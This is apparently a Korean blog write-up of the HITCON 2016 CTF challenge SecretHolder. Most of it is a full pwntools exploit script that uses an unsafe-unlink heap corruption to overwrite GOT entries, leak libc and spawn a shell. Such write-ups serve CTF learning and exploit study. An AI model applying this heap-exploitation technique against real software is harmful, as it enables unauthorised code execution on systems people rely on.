-
HITCON 2016 SecretHolderPwnable/CTF 2017. 7. 11. 00:41
main 메뉴는 Kepp Wipe Renew 이 세가지가 있다.
그 세가지는 40 4000 40000 사이즈로 malloc free read 가 가능하고 40000사이즈를 주 사용하게된다.
mmap으로 할당하여서 heap에는 안 생기지만 free하고 다시 할당하면 어떤 flag때문인지 top 청크가 넒어서인지
어쨋든 heap에 할당이된다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596from pwn import *p=process("./SecretHolder")ME = 0x6020a8libc = ELF("libc6_2.24-9ubuntu2.2_amd64.so")print p.recvuntil('Renew secret\n')def Keep(keep,data):p.sendline("1")print p.recvuntil('Huge secret\n')p.sendline(str(keep))print p.recv(1024)p.sendline(data)print p.recvuntil('Renew secret\n')def Wipe(keep):p.sendline("2")print p.recvuntil('Huge secret\n')p.sendline(str(keep))print p.recvuntil('Renew secret\n')def Renew(keep,data):p.sendline("3")print p.recvuntil('Huge secret\n')p.sendline(str(keep))print p.recv(1024)p.send(data)print p.recvuntil('Renew secret\n')Keep(3,"CCCC")Wipe(3)Keep(1,"AAAA")Keep(2,"BBBB")Wipe(1)Wipe(2)Keep(3,"AACC")Wipe(1)Keep(1,"AAAA")Keep(2,"BBBB")payload = p64(0x0)payload += p64(0x21)payload += p64(ME-0x18)payload += p64(ME-0x10)payload += p64(0x20)payload += p64(0x90)payload += "A"*0x80payload += p64(0x90)payload += p64(0X91)payload += "B"*0x80payload += p64(0x90)payload += p64(0x91)Renew(3,payload)Wipe(2)payload = p64(0)*3payload += p64(0x602018-0x10)Renew(3,payload)payload = p64(0)*2payload += p64(0x4006c0)Renew(3,payload)payload = "/bin/sh;"payload += "A"*16Renew(1,payload)p.sendline("2")print p.recv(1024)p.sendline("1")print p.recvuntil(payload)arena = u64(p.recv(6)+'\00\00') - 88malloc_hook = arena-0x10libc_base = malloc_hook - libc.symbols['__malloc_hook']system = libc_base + libc.symbols['system']print hex(malloc_hook)print hex(libc_base)print hex(system)print p.recvuntil('Renew secret\n')Renew(3,p64(0)*2+p64(system))p.sendline("2")print p.recv(1024)p.sendline("1")p.interactive()cs 처음 대충 기법을 이해하고 문제를 풀려고했을때에는 풀이를 봐도 이해도안되서 포기했다가 이 문제를 풀기위해 구글링을하고
unsafe_unlink 기법 공부를 계속한후 문제를 푸니깐 문제가 쉽게 느껴졌다.
'Pwnable > CTF' 카테고리의 다른 글
YISF 2017 write up (0) 2017.08.10 HITCON 2016 SleepyHolder (0) 2017.07.13 Secuinside 2017 ohce (0) 2017.07.03 Codegate 2016 floppy (0) 2017.06.10 DEFCON 2017 smashme (0) 2017.05.02